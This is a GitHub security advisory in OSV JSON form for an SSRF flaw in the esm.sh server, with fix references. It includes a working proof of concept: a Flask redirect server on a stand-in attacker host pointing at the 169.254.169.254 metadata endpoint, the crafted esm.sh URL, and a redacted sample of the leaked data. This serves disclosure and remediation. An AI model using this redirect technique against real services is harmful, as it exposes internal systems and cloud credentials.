{"schema_version":"1.7.3","id":"GHSA-3c9r-837r-qqm4","published":"2026-02-25T15:19:41Z","modified":"2026-02-28T06:26:37.343105Z","aliases":["CVE-2025-50180","GO-2026-4545"],"summary":"esm.sh is vulnerable to full-response SSRF","details":"### Summary\n\nesh.sh is vulnerable to a full-response SSRF, allowing an attacker to retrieve information from internal websites through the vulnerability.\n\n### Details\n\nVulnerable code location: https://github.com/esm-dev/esm.sh/blob/f80ff8c8d58749e77fa964abde468fc61f8bd89e/server/router.go#L511\n\nIf the internal address has a suffix listed below, the attacker can obtain content from the specified internal address.\n\neg: https://esm.sh/https://local.site/test.md\n\n```\n\".js\", \".ts\", \".mjs\", \".mts\", \".jsx\", \".tsx\", \".cjs\", \".cts\", \".vue\", \".svelte\", \".md\", \".css\"\n```\n\nA 302 redirect can be used to bypass the suffix restriction.\n\neg: https://esm.sh/https://attacker.site/test.md \n\nhttps://attacker.site/test.md 302 redirect to http://169.254.169.254/v1.json\n\n### PoC\n\nUse Flask to start a server that returns a 302 redirect.\n\n```python\nfrom flask import Flask, redirect\n\napp = Flask(__name__)\n\n@app.route('/test.md')\ndef redirect_test():\n return redirect(\"http://169.254.169.254/v1.json\", code=302)\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0', port=80)\n```\n\nLet esh.sh visit this site.\n\nhttps://esm.sh/https://attacker.site/test.md\n\nAttacker can obtain data from http://169.254.169.254/v1.json.\n\n```\nvar t=`

{"bgp":{"ipv4":{"my-address":"","my-asn":"","peer-address":"","peer-asn":""},"ipv6":{"my-address":"","my-asn":"","peer-address":"","peer-asn":""}},"hostname":"****","instance-v2-id":"****","instanceid":"****","interfaces":[{"ipv4":{"additional":[],"address":"****","gateway":"****","netmask":"****","routes":[{"netmask":32,"network":"****"}]},"ipv6":{"additional":[],"address":"****","network":"****","prefix":"64"},"mac":"****","network-type":"public"}],"nvidia-driver":[],"public-keys":["****"],"region":{"countrycode":"US","regioncode":"SJC"},"tags":[]}

\n`,o={},u=t;export{u as default,t as html,o as meta};\n```\n\nDecode the data (redacted) .\n\n```json\n{\"bgp\":{\"ipv4\":{\"my-address\":\"\",\"my-asn\":\"\",\"peer-address\":\"\",\"peer-asn\":\"\"},\"ipv6\":{\"my-address\":\"\",\"my-asn\":\"\",\"peer-address\":\"\",\"peer-asn\":\"\"}},\"hostname\":\"****\",\"instance-v2-id\":\"****\",\"instanceid\":\"****\",\"interfaces\":[{\"ipv4\":{\"additional\":[],\"address\":\"****\",\"gateway\":\"****\",\"netmask\":\"****\",\"routes\":[{\"netmask\":32,\"network\":\"****\"}]},\"ipv6\":{\"additional\":[],\"address\":\"****\",\"network\":\"****\",\"prefix\":\"64\"},\"mac\":\"****\",\"network-type\":\"public\"}],\"nvidia-driver\":[],\"public-keys\":[\"****\"],\"region\":{\"countrycode\":\"US\",\"regioncode\":\"SJC\"},\"tags\":[]}\n```\n\n### Impact\n\nAn attacker can exploit the vulnerability to access internal sites, and in a cloud environment, can retrieve access keys (AK) and secret keys (SK) by accessing the metadata service address.\n\n### Fix\n\nIt is recommended to use `safeurl.Client` as a replacement for `http.Client`.\n\nhttps://github.com/esm-dev/esm.sh/blob/f80ff8c8d58749e77fa964abde468fc61f8bd89e/internal/fetch/fetch.go#L13\n\nhttps://github.com/doyensec/safeurl","affected":[{"package":{"name":"github.com/esm-dev/esm.sh","ecosystem":"Go","purl":"pkg:golang/github.com/esm-dev/esm.sh"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.0.0-20250616164159-0593516c4cfa"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/02/GHSA-3c9r-837r-qqm4/GHSA-3c9r-837r-qqm4.json"}}],"references":[{"type":"WEB","url":"https://github.com/esm-dev/esm.sh/security/advisories/GHSA-3c9r-837r-qqm4"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-50180"},{"type":"WEB","url":"https://github.com/esm-dev/esm.sh/pull/1149"},{"type":"WEB","url":"https://github.com/esm-dev/esm.sh/commit/0593516c4cfab49ad3b4900416a8432ff2e23eb0"},{"type":"PACKAGE","url":"https://github.com/esm-dev/esm.sh"},{"type":"WEB","url":"https://github.com/esm-dev/esm.sh/blob/f80ff8c8d58749e77fa964abde468fc61f8bd89e/internal/fetch/fetch.go#L13"},{"type":"WEB","url":"https://github.com/esm-dev/esm.sh/blob/f80ff8c8d58749e77fa964abde468fc61f8bd89e/server/router.go#L511"},{"type":"WEB","url":"https://github.com/esm-dev/esm.sh/releases/tag/v137"}],"database_specific":{"cwe_ids":["CWE-918"],"github_reviewed":true,"github_reviewed_at":"2026-02-25T15:19:41Z","nvd_published_at":"2026-02-25T16:23:21Z","severity":"HIGH"},"severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N"}]}